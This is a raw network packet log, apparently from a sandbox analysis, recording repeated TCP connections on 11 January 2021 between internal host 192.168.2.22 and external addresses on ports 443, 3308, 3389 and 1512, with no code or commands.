Jan 11, 2021 20:48:39.556782007 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.556931019 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.562994957 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.617041111 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.617175102 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.621042013 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.621125937 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.672840118 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.673106909 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.711324930 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.724906921 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.724946022 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.843808889 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.843868971 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.843952894 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.844221115 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.849512100 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.901277065 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.967377901 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.010665894 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.010813951 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.012429953 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.055677891 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.066730976 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.066800117 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.066808939 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.066852093 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.074558020 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.119740963 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.119959116 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.131361961 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.131720066 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.174765110 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.174835920 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.214051008 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.218080044 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.218142033 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.330121994 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.330202103 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.330209017 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.330275059 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.335778952 CET	49270	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:40.379049063 CET	3308	49270	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:40.447305918 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.501121044 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.501207113 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.501805067 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.555365086 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.577625036 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.577972889 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.593444109 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.593516111 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.598297119 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.661869049 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.661958933 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.669605017 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.669734001 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.723949909 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.724010944 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.763855934 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.778033018 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.778065920 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.867300987 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.867356062 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.867468119 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.867499113 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.870523930 CET	49271	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:40.924386024 CET	3389	49271	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:40.981736898 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.034810066 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.034921885 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.035748005 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.089567900 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.096299887 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.096386909 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.097240925 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.108089924 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.162205935 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.162318945 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.171456099 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.171914101 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.225047112 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.225287914 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.263691902 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.278664112 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.581464052 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.634818077 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.732803106 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.732826948 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.732903004 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.734988928 CET	49272	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:41.788084030 CET	1512	49272	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:41.863107920 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:41.915563107 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:41.915714979 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:41.917077065 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:41.970474958 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:41.984070063 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:41.984174013 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:41.995439053 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:42.049958944 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:42.050024986 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:42.055274010 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:42.055468082 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:42.107717991 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:42.107790947 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:42.159800053 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:42.279099941 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:42.279144049 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:42.279232979 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:42.279288054 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:42.284657001 CET	49273	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:42.336682081 CET	443	49273	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:42.400552988 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.443722963 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.443839073 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.445425034 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.488579988 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.499308109 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.499351025 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.499403954 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.499440908 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.513483047 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.558479071 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.558573008 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.567482948 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.567663908 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.611793995 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.611951113 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.649990082 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.655216932 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.655249119 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.769778967 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.769820929 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.769916058 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.769962072 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.775003910 CET	49274	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:42.807737112 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:48:42.818164110 CET	3308	49274	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:42.883671045 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:42.937495947 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:42.937616110 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:42.940596104 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:42.994617939 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.018256903 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.018300056 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.018449068 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.018492937 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.027134895 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.089451075 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.089561939 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.094063997 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.094118118 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.148083925 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.148335934 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.187891006 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.202446938 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.202497959 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.292052031 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.292102098 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.292361975 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.292412043 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.295377970 CET	49275	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:43.349154949 CET	3389	49275	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:43.415369987 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.468738079 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.468945980 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.470931053 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.523750067 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.530745029 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.530777931 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.531090975 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.545166016 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.599140882 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.599292040 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.604067087 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.604255915 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.657018900 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.657183886 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.695496082 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.710098028 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.811105013 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.811160088 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.811517954 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.813998938 CET	49276	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:43.866687059 CET	1512	49276	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:43.930177927 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:43.984217882 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:43.984616041 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:43.986160994 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.038497925 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.053273916 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.053405046 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.068636894 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.123394012 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.123589993 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.127927065 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.128012896 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.180341005 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.180761099 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.219297886 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.233438969 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.233515024 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.352015972 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.352037907 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.352209091 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.357788086 CET	49277	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:44.409998894 CET	443	49277	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:44.475961924 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.519361019 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.519473076 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.521034002 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.564120054 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.579319954 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.579428911 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.579534054 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.594508886 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.639561892 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.639708996 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.653069019 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.653261900 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.696547985 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.696844101 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.736407042 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.740103960 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.740144014 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.854135036 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.854171991 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.854391098 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.860035896 CET	49278	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:44.903276920 CET	3308	49278	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:44.975979090 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.030311108 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.030483007 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.032011986 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.086097956 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.104603052 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.104659081 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.104782104 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.104829073 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.117697954 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.178473949 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.178885937 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.189044952 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.189254999 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.243360043 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.243726969 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.282815933 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.298038960 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.298084974 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.390383005 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.390429020 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.390583038 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.390647888 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.392669916 CET	49279	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:45.446597099 CET	3389	49279	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:45.504719019 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.558410883 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.558593988 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.560339928 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.613241911 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.620017052 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.620065928 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.620141983 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.629041910 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.683162928 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.683525085 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.694089890 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.694363117 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.747294903 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.747611046 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.803205967 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.903628111 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.903671026 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:45.903990030 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.909567118 CET	49280	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:45.962388039 CET	1512	49280	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:46.020243883 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.072496891 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.072685957 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.074299097 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.126560926 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.141494989 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.141752958 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.157871008 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.212429047 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.212893009 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.222176075 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.222436905 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.274405956 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.274832964 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.311414003 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.327125072 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.327163935 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.446007967 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.446110964 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.446306944 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.452135086 CET	49281	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:46.504381895 CET	443	49281	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:46.567157984 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.610486031 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.610615969 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.612278938 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.655339003 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.666240931 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.666277885 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.666380882 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.682081938 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.728224993 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.728560925 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.732728004 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.732911110 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.776165009 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.776495934 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.815196037 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.819536924 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.819667101 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.932764053 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.932820082 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:46.932984114 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.938570023 CET	49282	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:46.981941938 CET	3308	49282	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:47.050494909 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.105254889 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.105437994 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.106973886 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.161297083 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.182447910 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.182498932 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.182666063 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.182714939 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.196563959 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.262293100 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.262586117 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.268522978 CET	49283	3389	192.168.2.22	5.100.228.233
